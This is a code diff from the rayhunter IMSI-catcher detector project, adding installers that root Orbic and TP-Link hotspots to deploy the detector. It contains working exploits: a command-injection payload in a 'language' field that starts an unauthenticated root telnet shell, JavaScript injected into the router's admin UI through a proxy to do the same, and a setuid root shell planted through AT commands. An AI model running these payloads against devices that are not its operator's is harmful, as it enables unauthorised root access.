use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
|
||||
|
||||
pub const ORBIC_NOT_FOUND: &str = r#"No Orbic device found.
|
||||
Make sure your device is plugged in and turned on.
|
||||
|
||||
If you're sure you've plugged in an Orbic device via USB, there may be a bug in
|
||||
our installer. Please file a bug with the output of `lsusb` attached."#;
|
||||
|
||||
const ORBIC_BUSY: &str = r#"The Orbic is plugged in but is being used by another program.
|
||||
|
||||
Please close any program that might be using your USB devices.
|
||||
If you have adb installed you may need to kill the adb daemon"#;
|
||||
|
||||
#[cfg(target_os = "macos")]
|
||||
const ORBIC_BUSY_MAC: &str = r#"Permission denied.
|
||||
|
||||
On macOS this might be caused by another program using the Orbic.
|
||||
Please close any program that might be using your Orbic.
|
||||
If you have adb installed you may need to kill the adb daemon"#;
|
||||
|
||||
const VENDOR_ID: u16 = 0x05c6;
|
||||
const PRODUCT_ID: u16 = 0xf601;
|
||||
|
||||
macro_rules! echo {
|
||||
($($arg:tt)*) => {
|
||||
print!($($arg)*);
|
||||
let _ = std::io::stdout().flush();
|
||||
};
|
||||
}
|
||||
|
||||
pub async fn install() -> Result<()> {
|
||||
let mut adb_device = force_debug_mode().await?;
|
||||
let serial_interface = open_orbic()?.ok_or_else(|| anyhow!(ORBIC_NOT_FOUND))?;
|
||||
echo!("Installing rootshell... ");
|
||||
setup_rootshell(&serial_interface, &mut adb_device).await?;
|
||||
println!("done");
|
||||
echo!("Installing rayhunter... ");
|
||||
let mut adb_device = setup_rayhunter(&serial_interface, adb_device).await?;
|
||||
println!("done");
|
||||
echo!("Testing rayhunter... ");
|
||||
test_rayhunter(&mut adb_device).await?;
|
||||
println!("done");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn force_debug_mode() -> Result<ADBUSBDevice> {
|
||||
println!("Forcing a switch into the debug mode to enable ADB");
|
||||
enable_command_mode()?;
|
||||
echo!("ADB enabled, waiting for reboot... ");
|
||||
let mut adb_device = get_adb().await?;
|
||||
println!("it's alive!");
|
||||
echo!("Waiting for atfwd_daemon to startup... ");
|
||||
adb_command(&mut adb_device, &["pgrep", "atfwd_daemon"])?;
|
||||
println!("done");
|
||||
Ok(adb_device)
|
||||
}
|
||||
|
||||
async fn setup_rootshell(
|
||||
serial_interface: &Interface,
|
||||
adb_device: &mut ADBUSBDevice,
|
||||
) -> Result<()> {
|
||||
let rootshell_bin = include_bytes!(env!("FILE_ROOTSHELL"));
|
||||
|
||||
install_file(
|
||||
serial_interface,
|
||||
adb_device,
|
||||
"/bin/rootshell",
|
||||
rootshell_bin,
|
||||
)
|
||||
.await?;
|
||||
tokio::time::sleep(Duration::from_secs(1)).await;
|
||||
at_syscmd(serial_interface, "chown root /bin/rootshell").await?;
|
||||
tokio::time::sleep(Duration::from_secs(1)).await;
|
||||
at_syscmd(serial_interface, "chmod 4755 /bin/rootshell").await?;
|
||||
let output = adb_command(adb_device, &["/bin/rootshell", "-c", "id"])?;
|
||||
if !output.contains("uid=0") {
|
||||
bail!("rootshell is not giving us root.");
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn setup_rayhunter(
|
||||
serial_interface: &Interface,
|
||||
mut adb_device: ADBUSBDevice,
|
||||
) -> Result<ADBUSBDevice> {
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_ORBIC"));
|
||||
|
||||
at_syscmd(serial_interface, "mkdir -p /data/rayhunter").await?;
|
||||
install_file(
|
||||
serial_interface,
|
||||
&mut adb_device,
|
||||
"/data/rayhunter/rayhunter-daemon",
|
||||
rayhunter_daemon_bin,
|
||||
)
|
||||
.await?;
|
||||
install_file(
|
||||
serial_interface,
|
||||
&mut adb_device,
|
||||
"/data/rayhunter/config.toml",
|
||||
CONFIG_TOML.as_bytes(),
|
||||
)
|
||||
.await?;
|
||||
install_file(
|
||||
serial_interface,
|
||||
&mut adb_device,
|
||||
"/etc/init.d/rayhunter_daemon",
|
||||
RAYHUNTER_DAEMON_INIT.as_bytes(),
|
||||
)
|
||||
.await?;
|
||||
install_file(
|
||||
serial_interface,
|
||||
&mut adb_device,
|
||||
"/etc/init.d/misc-daemon",
|
||||
include_bytes!("../../dist/scripts/misc-daemon"),
|
||||
)
|
||||
.await?;
|
||||
at_syscmd(serial_interface, "chmod 755 /etc/init.d/rayhunter_daemon").await?;
|
||||
at_syscmd(serial_interface, "chmod 755 /etc/init.d/misc-daemon").await?;
|
||||
println!("done");
|
||||
echo!("Waiting for reboot... ");
|
||||
at_syscmd(serial_interface, "shutdown -r -t 1 now").await?;
|
||||
// first wait for shutdown (it can take ~10s)
|
||||
tokio::time::timeout(Duration::from_secs(30), async {
|
||||
while let Ok(dev) = adb_echo_test(adb_device).await {
|
||||
adb_device = dev;
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
}
|
||||
})
|
||||
.await
|
||||
.context("Orbic took too long to shutdown")?;
|
||||
// now wait for boot to finish
|
||||
get_adb().await
|
||||
}
|
||||
|
||||
async fn test_rayhunter(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
||||
const MAX_FAILURES: u32 = 10;
|
||||
let mut failures = 0;
|
||||
while failures < MAX_FAILURES {
|
||||
if let Ok(output) = adb_command(
|
||||
adb_device,
|
||||
&["wget", "-O", "-", "http://localhost:8080/index.html"],
|
||||
) {
|
||||
if output.contains("html") {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
failures += 1;
|
||||
sleep(Duration::from_secs(3)).await;
|
||||
}
|
||||
bail!("timeout reached! failed to reach rayhunter, something went wrong :(")
|
||||
}
|
||||
|
||||
async fn install_file(
|
||||
serial_interface: &Interface,
|
||||
adb_device: &mut ADBUSBDevice,
|
||||
dest: &str,
|
||||
payload: &[u8],
|
||||
) -> Result<()> {
|
||||
const MAX_FAILURES: u32 = 5;
|
||||
let mut failures = 0;
|
||||
loop {
|
||||
match install_file_impl(serial_interface, adb_device, dest, payload).await {
|
||||
Ok(()) => return Ok(()),
|
||||
Err(e) => {
|
||||
if failures > MAX_FAILURES {
|
||||
return Err(e);
|
||||
} else {
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
failures += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn install_file_impl(
|
||||
serial_interface: &Interface,
|
||||
adb_device: &mut ADBUSBDevice,
|
||||
dest: &str,
|
||||
mut payload: &[u8],
|
||||
) -> Result<()> {
|
||||
let file_name = Path::new(dest)
|
||||
.file_name()
|
||||
.ok_or_else(|| anyhow!("{dest} does not have a file name"))?
|
||||
.to_str()
|
||||
.ok_or_else(|| anyhow!("{dest}'s file name is not UTF8"))?
|
||||
.to_owned();
|
||||
let push_tmp_path = format!("/tmp/{file_name}");
|
||||
let mut hasher = Sha256::new();
|
||||
hasher.update(payload);
|
||||
let file_hash_bytes = hasher.finalize();
|
||||
let file_hash = format!("{file_hash_bytes:x}");
|
||||
adb_device.push(&mut payload, &push_tmp_path)?;
|
||||
at_syscmd(serial_interface, &format!("mv {push_tmp_path} {dest}")).await?;
|
||||
let file_info = adb_device
|
||||
.stat(dest)
|
||||
.context("Failed to stat transfered file")?;
|
||||
if file_info.file_size == 0 {
|
||||
bail!("File transfer unseccessful\nFile is empty");
|
||||
}
|
||||
let ouput = adb_command(adb_device, &["sha256sum", dest])?;
|
||||
if !ouput.contains(&file_hash) {
|
||||
bail!("File transfer unseccessful\nBad hash expected {file_hash} got {ouput}");
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn adb_command(adb_device: &mut ADBUSBDevice, command: &[&str]) -> Result<String> {
|
||||
let mut buf = Vec::<u8>::new();
|
||||
adb_device.shell_command(command, &mut buf)?;
|
||||
Ok(String::from_utf8_lossy(&buf).into_owned())
|
||||
}
|
||||
|
||||
/// Creates an ADB interface instance.
|
||||
///
|
||||
/// This function waits for the ADB device then checks that an ADB shell command runs.
|
||||
async fn get_adb() -> Result<ADBUSBDevice> {
|
||||
const MAX_FAILURES: u32 = 10;
|
||||
let mut failures = 0;
|
||||
loop {
|
||||
match ADBUSBDevice::new(VENDOR_ID, PRODUCT_ID) {
|
||||
Ok(dev) => match adb_echo_test(dev).await {
|
||||
Ok(dev) => return Ok(dev),
|
||||
Err(e) => {
|
||||
if failures > MAX_FAILURES {
|
||||
return Err(e);
|
||||
} else {
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
failures += 1;
|
||||
}
|
||||
}
|
||||
},
|
||||
Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::ResourceBusy => {
|
||||
bail!(ORBIC_BUSY);
|
||||
}
|
||||
#[cfg(target_os = "macos")]
|
||||
Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::PermissionDenied => {
|
||||
bail!(ORBIC_BUSY_MAC);
|
||||
}
|
||||
Err(RustADBError::DeviceNotFound(_)) => {
|
||||
tokio::time::timeout(
|
||||
Duration::from_secs(30),
|
||||
wait_for_usb_device(VENDOR_ID, PRODUCT_ID),
|
||||
)
|
||||
.await
|
||||
.context("Timeout waiting for Orbic to reconnect")??;
|
||||
}
|
||||
Err(e) => {
|
||||
if failures > MAX_FAILURES {
|
||||
return Err(e.into());
|
||||
} else {
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
failures += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn adb_echo_test(mut adb_device: ADBUSBDevice) -> Result<ADBUSBDevice> {
|
||||
let mut buf = Vec::<u8>::new();
|
||||
// Random string to echo
|
||||
let test_echo = "qwertyzxcvbnm";
|
||||
let thread = std::thread::spawn(move || {
|
||||
// This call to run a shell command is run on a separate thread because it can block
|
||||
// indefinitely until the command runs, which is undesirable.
|
||||
adb_device.shell_command(&["echo", test_echo], &mut buf)?;
|
||||
Ok::<(ADBUSBDevice, Vec<u8>), RustADBError>((adb_device, buf))
|
||||
});
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
if thread.is_finished() {
|
||||
if let Ok(Ok((dev, buf))) = thread.join() {
|
||||
if let Ok(s) = std::str::from_utf8(&buf) {
|
||||
if s.contains(test_echo) {
|
||||
return Ok(dev);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// I'd like to kill the background thread here if that was possible.
|
||||
bail!("Could not communicate with the Orbic. Try disconnecting and reconnecting.");
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "macos"))]
|
||||
async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> {
|
||||
use nusb::hotplug::HotplugEvent;
|
||||
use tokio_stream::StreamExt;
|
||||
loop {
|
||||
let mut watcher = nusb::watch_devices()?;
|
||||
while let Some(event) = watcher.next().await {
|
||||
if let HotplugEvent::Connected(dev) = event {
|
||||
if dev.vendor_id() == vendor_id && dev.product_id() == product_id {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(target_os = "macos")]
|
||||
/// `nusb::watch_devices` doesn't appear to work on macOS to poll instead.
|
||||
async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> {
|
||||
loop {
|
||||
for device_info in nusb::list_devices()? {
|
||||
if device_info.vendor_id() == vendor_id && device_info.product_id() == product_id {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
tokio::time::sleep(Duration::from_secs(1)).await;
|
||||
}
|
||||
}
|
||||
|
||||
async fn at_syscmd(interface: &Interface, command: &str) -> Result<()> {
|
||||
send_serial_cmd(interface, &format!("AT+SYSCMD={command}")).await
|
||||
}
|
||||
/// Sends an AT command to the usb device over the serial port
|
||||
///
|
||||
/// First establish a USB handle and context by calling `open_orbic(<T>)
|
||||
pub async fn send_serial_cmd(interface: &Interface, command: &str) -> Result<()> {
|
||||
let mut data = String::new();
|
||||
data.push_str("\r\n");
|
||||
data.push_str(command);
|
||||
data.push_str("\r\n");
|
||||
|
||||
let timeout = Duration::from_secs(2);
|
||||
|
||||
let enable_serial_port = Control {
|
||||
control_type: ControlType::Class,
|
||||
recipient: Recipient::Interface,
|
||||
request: 0x22,
|
||||
value: 3,
|
||||
index: 1,
|
||||
};
|
||||
|
||||
// Set up the serial port appropriately
|
||||
interface
|
||||
.control_out_blocking(enable_serial_port, &[], timeout)
|
||||
.context("Failed to send control request")?;
|
||||
|
||||
// Send the command
|
||||
tokio::time::timeout(timeout, interface.bulk_out(0x2, data.as_bytes().to_vec()))
|
||||
.await
|
||||
.context("Timed out writing command")?
|
||||
.into_result()
|
||||
.context("Failed to write command")?;
|
||||
|
||||
// Consume the echoed command
|
||||
tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
|
||||
.await
|
||||
.context("Timed out reading submitted command")?
|
||||
.into_result()
|
||||
.context("Failed to read submitted command")?;
|
||||
|
||||
// Read the actual response
|
||||
let response = tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
|
||||
.await
|
||||
.context("Timed out reading response")?
|
||||
.into_result()
|
||||
.context("Failed to read response")?;
|
||||
|
||||
// For some reason, on macOS the response buffer gets filled with garbage data that's
|
||||
// rarely valid UTF-8. Luckily we only care about the first couple bytes, so just drop
|
||||
// the garbage with `from_utf8_lossy` and look for our expected success string.
|
||||
let responsestr = String::from_utf8_lossy(&response);
|
||||
if !responsestr.contains("\r\nOK\r\n") {
|
||||
bail!("Received unexpected response: {0}", responsestr);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send a command to switch the device into generic mode, exposing serial
|
||||
///
|
||||
/// If the device reboots while the command is still executing you may get a pipe error here, not sure what to do about this race condition.
|
||||
pub fn enable_command_mode() -> Result<()> {
|
||||
if open_orbic()?.is_some() {
|
||||
println!("Device already in command mode. Doing nothing...");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let timeout = Duration::from_secs(1);
|
||||
|
||||
if let Some(device) = open_usb_device(VENDOR_ID, 0xf626)? {
|
||||
let enable_command_mode = Control {
|
||||
control_type: ControlType::Vendor,
|
||||
recipient: Recipient::Device,
|
||||
request: 0xa0,
|
||||
value: 0,
|
||||
index: 0,
|
||||
};
|
||||
let interface = device
|
||||
.detach_and_claim_interface(1)
|
||||
.context("detach_and_claim_interface(1) failed")?;
|
||||
if let Err(e) = interface.control_out_blocking(enable_command_mode, &[], timeout) {
|
||||
// If the device reboots while the command is still executing we
|
||||
// may get a pipe error here
|
||||
if e == nusb::transfer::TransferError::Stall {
|
||||
return Ok(());
|
||||
}
|
||||
bail!("Failed to send device switch control request: {0}", e)
|
||||
}
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
bail!(ORBIC_NOT_FOUND);
|
||||
}
|
||||
|
||||
/// Get an Interface for the orbic device
|
||||
pub fn open_orbic() -> Result<Option<Interface>> {
|
||||
// Device after initial mode switch
|
||||
if let Some(device) = open_usb_device(VENDOR_ID, PRODUCT_ID)? {
|
||||
let interface = device
|
||||
.detach_and_claim_interface(1) // will reattach drivers on release
|
||||
.context("detach_and_claim_interface(1) failed")?;
|
||||
return Ok(Some(interface));
|
||||
}
|
||||
|
||||
// Device with rndis enabled as well
|
||||
if let Some(device) = open_usb_device(VENDOR_ID, 0xf622)? {
|
||||
let interface = device
|
||||
.detach_and_claim_interface(1) // will reattach drivers on release
|
||||
.context("detach_and_claim_interface(1) failed")?;
|
||||
return Ok(Some(interface));
|
||||
}
|
||||
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// General function to open a USB device
|
||||
fn open_usb_device(vid: u16, pid: u16) -> Result<Option<Device>> {
|
||||
let devices = match nusb::list_devices() {
|
||||
Ok(d) => d,
|
||||
Err(_) => return Ok(None),
|
||||
};
|
||||
|
||||
for device in devices {
|
||||
if device.vendor_id() == vid && device.product_id() == pid {
|
||||
match device.open() {
|
||||
Ok(d) => return Ok(Some(d)),
|
||||
Err(e) => bail!("device found but failed to open: {}", e),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(None)
|
||||
}
|
||||
343
installer/src/tplink.rs
Normal file
343
installer/src/tplink.rs
Normal file
@@ -0,0 +1,343 @@
|
||||
use std::net::SocketAddr;
|
||||
use std::str::FromStr;
|
||||
use std::time::Duration;
|
||||
|
||||
use anyhow::{Context, Error};
|
||||
use axum::{
|
||||
Router,
|
||||
body::{Body, to_bytes},
|
||||
extract::{Request, State},
|
||||
http::uri::Uri,
|
||||
response::{IntoResponse, Response},
|
||||
routing::any,
|
||||
};
|
||||
use bytes::{Bytes, BytesMut};
|
||||
use hyper::StatusCode;
|
||||
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
|
||||
use serde::Deserialize;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{sleep, timeout};
|
||||
|
||||
use crate::InstallTpLink;
|
||||
|
||||
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
|
||||
|
||||
pub async fn main_tplink(
|
||||
InstallTpLink {
|
||||
skip_sdcard,
|
||||
admin_ip,
|
||||
}: InstallTpLink,
|
||||
) -> Result<(), Error> {
|
||||
start_telnet(&admin_ip).await?;
|
||||
tplink_run_install(skip_sdcard, admin_ip).await
|
||||
}
|
||||
|
||||
#[derive(Deserialize)]
|
||||
struct V3RootResponse {
|
||||
result: u64,
|
||||
}
|
||||
|
||||
pub async fn start_telnet(admin_ip: &str) -> Result<(), Error> {
|
||||
let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi");
|
||||
let client = reqwest::Client::new();
|
||||
|
||||
println!("Launching telnet on the device");
|
||||
|
||||
// https://github.com/advisories/GHSA-ffwq-9r7p-3j6r
|
||||
// in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132
|
||||
let response = client.post(&qcmap_web_cgi_endpoint)
|
||||
.body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#)
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if response.status() == 404 {
|
||||
println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
|
||||
tplink_launch_telnet_v5(admin_ip).await?;
|
||||
} else {
|
||||
let V3RootResponse { result } = response.error_for_status()?.json().await?;
|
||||
|
||||
if result != 0 {
|
||||
anyhow::bail!("Bad result code when trying to root device: {result}");
|
||||
}
|
||||
|
||||
// resetting the language is important because otherwise the tplink's admin interface is
|
||||
// unusuable.
|
||||
let V3RootResponse { result } = client
|
||||
.post(&qcmap_web_cgi_endpoint)
|
||||
.body(r#"{"module": "webServer", "action": 1, "language": "en"}"#)
|
||||
.send()
|
||||
.await?
|
||||
.error_for_status()?
|
||||
.json()
|
||||
.await?;
|
||||
|
||||
if result != 0 {
|
||||
anyhow::bail!("Bad result code when trying to reset the language: {result}");
|
||||
}
|
||||
|
||||
println!("Detected hardware revision v3");
|
||||
}
|
||||
|
||||
println!(
|
||||
"Succeeded in rooting the device! Now you can use 'telnet {admin_ip}' to get a root shell. Use './installer util tplink-start-telnet' to root again without installing rayhunter."
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), Error> {
|
||||
println!("Connecting via telnet to {admin_ip}");
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||
|
||||
if !skip_sdcard {
|
||||
println!("Mounting sdcard");
|
||||
if telnet_send_command(addr, "mount | grep -q /media/card", "exit code 0")
|
||||
.await
|
||||
.is_err()
|
||||
{
|
||||
telnet_send_command(addr, "mount /dev/mmcblk0p1 /media/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
|
||||
} else {
|
||||
println!("sdcard already mounted");
|
||||
}
|
||||
}
|
||||
|
||||
// there is too little space on the internal flash to store anything, but the initrd script
|
||||
// expects things to be at this location
|
||||
telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?;
|
||||
telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?;
|
||||
telnet_send_command(addr, "ln -sf /media/card /data/rayhunter", "exit code 0").await?;
|
||||
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/media/card/config.toml",
|
||||
crate::CONFIG_TOML.as_bytes(),
|
||||
)
|
||||
.await?;
|
||||
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_TPLINK"));
|
||||
|
||||
telnet_send_file(addr, "/media/card/rayhunter-daemon", rayhunter_daemon_bin).await?;
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/etc/init.d/rayhunter_daemon",
|
||||
get_rayhunter_daemon().as_bytes(),
|
||||
)
|
||||
.await?;
|
||||
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"chmod ugo+x /media/card/rayhunter-daemon",
|
||||
"exit code 0",
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"chmod 755 /etc/init.d/rayhunter_daemon",
|
||||
"exit code 0",
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
|
||||
|
||||
println!(
|
||||
"Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
|
||||
);
|
||||
|
||||
telnet_send_command(addr, "reboot", "exit code 0").await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<(), Error> {
|
||||
println!("Sending file {filename}");
|
||||
|
||||
// remove the old file just in case we are close to disk capacity.
|
||||
telnet_send_command(addr, &format!("rm {filename}"), "").await?;
|
||||
|
||||
{
|
||||
let filename = filename.to_owned();
|
||||
let handle = tokio::spawn(async move {
|
||||
telnet_send_command(addr, &format!("nc -l 0.0.0.0:8081 > {filename}.tmp"), "").await
|
||||
});
|
||||
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
|
||||
let mut addr = addr;
|
||||
addr.set_port(8081);
|
||||
let mut stream = TcpStream::connect(addr).await?;
|
||||
stream.write_all(payload).await?;
|
||||
|
||||
handle.await??;
|
||||
}
|
||||
|
||||
let checksum = md5::compute(payload);
|
||||
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("md5sum {filename}.tmp"),
|
||||
&format!("{checksum:x} {filename}.tmp"),
|
||||
)
|
||||
.await?;
|
||||
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("mv {filename}.tmp {filename}"),
|
||||
"exit code 0",
|
||||
)
|
||||
.await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn telnet_send_command(
|
||||
addr: SocketAddr,
|
||||
command: &str,
|
||||
expected_output: &str,
|
||||
) -> Result<(), Error> {
|
||||
let stream = TcpStream::connect(addr).await?;
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
|
||||
loop {
|
||||
let mut next_byte = 0;
|
||||
reader
|
||||
.read_exact(std::slice::from_mut(&mut next_byte))
|
||||
.await?;
|
||||
if next_byte == b'#' {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
writer.write_all(command.as_bytes()).await?;
|
||||
writer.write_all(b"; echo exit code $?\r\n").await?;
|
||||
|
||||
let mut read_buf = Vec::new();
|
||||
|
||||
let _ = timeout(Duration::from_secs(5), async {
|
||||
let mut buf = [0; 4096];
|
||||
loop {
|
||||
let Ok(bytes_read) = reader.read(&mut buf).await else {
|
||||
break;
|
||||
};
|
||||
let bytes = &buf[..bytes_read];
|
||||
if bytes.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
read_buf.extend(bytes);
|
||||
|
||||
if read_buf.ends_with(b"/ # ") {
|
||||
break;
|
||||
}
|
||||
}
|
||||
})
|
||||
.await;
|
||||
|
||||
let string = String::from_utf8_lossy(&read_buf);
|
||||
|
||||
if !string.contains(expected_output) {
|
||||
anyhow::bail!("{expected_output:?} not found in: {string}");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
struct AppState {
|
||||
client: HttpProxyClient,
|
||||
admin_ip: String,
|
||||
}
|
||||
|
||||
async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, StatusCode> {
|
||||
let path = req.uri().path();
|
||||
let path_query = req
|
||||
.uri()
|
||||
.path_and_query()
|
||||
.map(|v| v.as_str())
|
||||
.unwrap_or(path);
|
||||
|
||||
let uri = format!("http://{}{}", state.admin_ip, path_query);
|
||||
|
||||
// on version 5.2, this path is /settings.min.js
|
||||
// on other versions, this path is /js/settings.min.js
|
||||
let is_settings_js = path.ends_with("/settings.min.js");
|
||||
|
||||
*req.uri_mut() = Uri::try_from(uri).unwrap();
|
||||
|
||||
let mut response = state
|
||||
.client
|
||||
.request(req)
|
||||
.await
|
||||
.map_err(|_| StatusCode::BAD_REQUEST)?
|
||||
.into_response();
|
||||
|
||||
if is_settings_js {
|
||||
let (parts, body) = response.into_parts();
|
||||
let data = to_bytes(body, usize::MAX)
|
||||
.await
|
||||
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
|
||||
let mut data = BytesMut::from(data);
|
||||
// inject some javascript into the admin UI to get us a telnet shell.
|
||||
data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
|
||||
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
|
||||
alert("Success! You can go back to the rayhunter installer.");
|
||||
window.clearInterval(window.rayhunterPoll);
|
||||
}, 1000);"#);
|
||||
response = Response::from_parts(parts, Body::from(Bytes::from(data)));
|
||||
response.headers_mut().remove("Content-Length");
|
||||
}
|
||||
|
||||
Ok(response)
|
||||
}
|
||||
|
||||
async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
|
||||
let client: HttpProxyClient =
|
||||
hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new())
|
||||
.build(HttpConnector::new());
|
||||
|
||||
let app = Router::new()
|
||||
.route("/", any(handler))
|
||||
.route("/{*path}", any(handler))
|
||||
.with_state(AppState {
|
||||
client,
|
||||
admin_ip: admin_ip.to_owned(),
|
||||
});
|
||||
|
||||
let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
println!("Listening on http://{}", listener.local_addr().unwrap());
|
||||
println!("Please open above URL in your browser and log into the router to continue.");
|
||||
|
||||
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
|
||||
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||
|
||||
while telnet_send_command(addr, "true", "exit code 0")
|
||||
.await
|
||||
.is_err()
|
||||
{
|
||||
sleep(Duration::from_millis(1000)).await;
|
||||
}
|
||||
|
||||
handle.abort();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn get_rayhunter_daemon() -> String {
|
||||
// Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And
|
||||
// changing the order in which daemons are started up seems to not work reliably.
|
||||
//
|
||||
// This part of the daemon dynamically generated because we may have to eventually add logic
|
||||
// specific to a particular hardware revision here.
|
||||
crate::RAYHUNTER_DAEMON_INIT.replace(
|
||||
"#RAYHUNTER-PRESTART",
|
||||
"mount /dev/mmcblk0p1 /media/card || true",
|
||||
)
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_get_rayhunter_daemon() {
|
||||
let s = get_rayhunter_daemon();
|
||||
assert!(s.contains("mount /dev/mmcblk0p1 /media/card"));
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rayhunter"
|
||||
version = "0.2.8"
|
||||
version = "0.3.0"
|
||||
edition = "2021"
|
||||
description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rootshell"
|
||||
version = "0.2.8"
|
||||
version = "0.3.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
@@ -1,11 +0,0 @@
|
||||
[package]
|
||||
name = "serial"
|
||||
version = "0.2.6"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
anyhow = "1.0.97"
|
||||
nusb = "0.1.13"
|
||||
tokio = { version = "1.44.2", features = ["macros", "rt", "time"] }
|
||||
@@ -1,173 +0,0 @@
|
||||
//! Serial communication with the orbic device
|
||||
//!
|
||||
//! This binary has two main functions, putting the orbic device in update mode which enables ADB
|
||||
//! and running AT commands on the serial modem interface which can be used to upload a shell and chown it to root
|
||||
//!
|
||||
//! # Errors
|
||||
//!
|
||||
//! No device found - make sure your device is plugged in and turned on. If it is, it's possible you have a device with a different
|
||||
//! usb id, file a bug with the output of `lsusb` attached.
|
||||
use std::str;
|
||||
use std::time::Duration;
|
||||
|
||||
use anyhow::{bail, Context, Result};
|
||||
use nusb::transfer::{Control, ControlType, Recipient, RequestBuffer};
|
||||
use nusb::{Device, Interface};
|
||||
|
||||
const ORBIC_NOT_FOUND: &str = r#"No Orbic device found.
|
||||
Make sure your device is plugged in and turned on.
|
||||
|
||||
If it's possible you have a device with a different usb id:
|
||||
please file a bug with the output of `lsusb` attached."#;
|
||||
|
||||
#[tokio::main(flavor = "current_thread")]
|
||||
async fn main() -> Result<()> {
|
||||
let args: Vec<String> = std::env::args().collect();
